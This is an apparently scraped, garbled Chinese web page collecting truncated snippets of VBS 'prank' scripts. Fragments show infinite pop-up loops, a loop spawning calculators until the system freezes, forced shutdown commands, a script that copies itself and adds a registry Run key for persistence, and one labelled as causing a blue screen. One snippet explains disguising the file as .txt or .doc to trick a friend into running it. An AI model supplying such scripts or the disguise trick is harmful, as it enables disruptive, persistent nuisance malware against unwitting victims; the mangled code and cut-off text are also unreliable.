1、qwritebWriteLine quotwscriptCreateObjectquot chr34 quotwscriptshellquot chr34 quotrun quot chr34 quotD\1vbsquot chr34qwritebWriteLine quotmsgbox quot chr34 quot滚quot chr34 quot，vbokonly+。

2、首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗，每个。

3、代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set WSHsh。

4、代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot。

5、quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不关心我quotWScriptEchoquot哼，我生气拉，等你这么久，心都凉啦quotWScriptEcho。

6、把代码拷贝到记事本里，另存文件为*vbs，发给你朋友，让他双击这个文件他就上当了通过发送时，你可以先把后缀名改为txt或者doc之类的，然后告诉你朋友让他手动把后缀名改为vbs，再让他双击文件就OK了给你出这么馊。

7、有点简单代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不。

8、WSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim a do whilea lt quot我是XX，大哥我真的是XX啊！quota = inputbox。

9、fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

10、你和我上学的时候有相同的爱好我04年的时候写了一个类似自动发送消息的小东西 就是模拟键盘输入 事先设定循环写的次数还有要写什么东西 要运行vbs的前提是对方机器有wscript服务还有个比较狠的，在c盘上建立一个1。

11、VBS可以用来编写一些整人的小程序，那么如何编写呢下面我就给大家分享一下01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件，在里面借助lo。

12、run quotcmdexe c shutdown aquot，0 ，true msgbox chr13 + chr13 + chr13 + quot哈哈哈哈，真过瘾 嘎嘎爽歪歪啊 quot参考资料把它复制下来 保存到TXT文档本 然后把文档本的后缀名改为vbs 就OK了。

13、Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34。

14、就是写在记事本然后保存为vbs格式的那种，我只知道msgboxquotquot，我想知道其他一些简单易学的 就是写在记事本然后保存为vbs格式的那种，我只知道msgboxquotquot，我想知道其他一些简单易学的 展开。

15、do if msgboxquot你爱我吗？quot，4132，quotquot=vbyes then exit do msgbox quot再想想quot，4096，quotquotloop。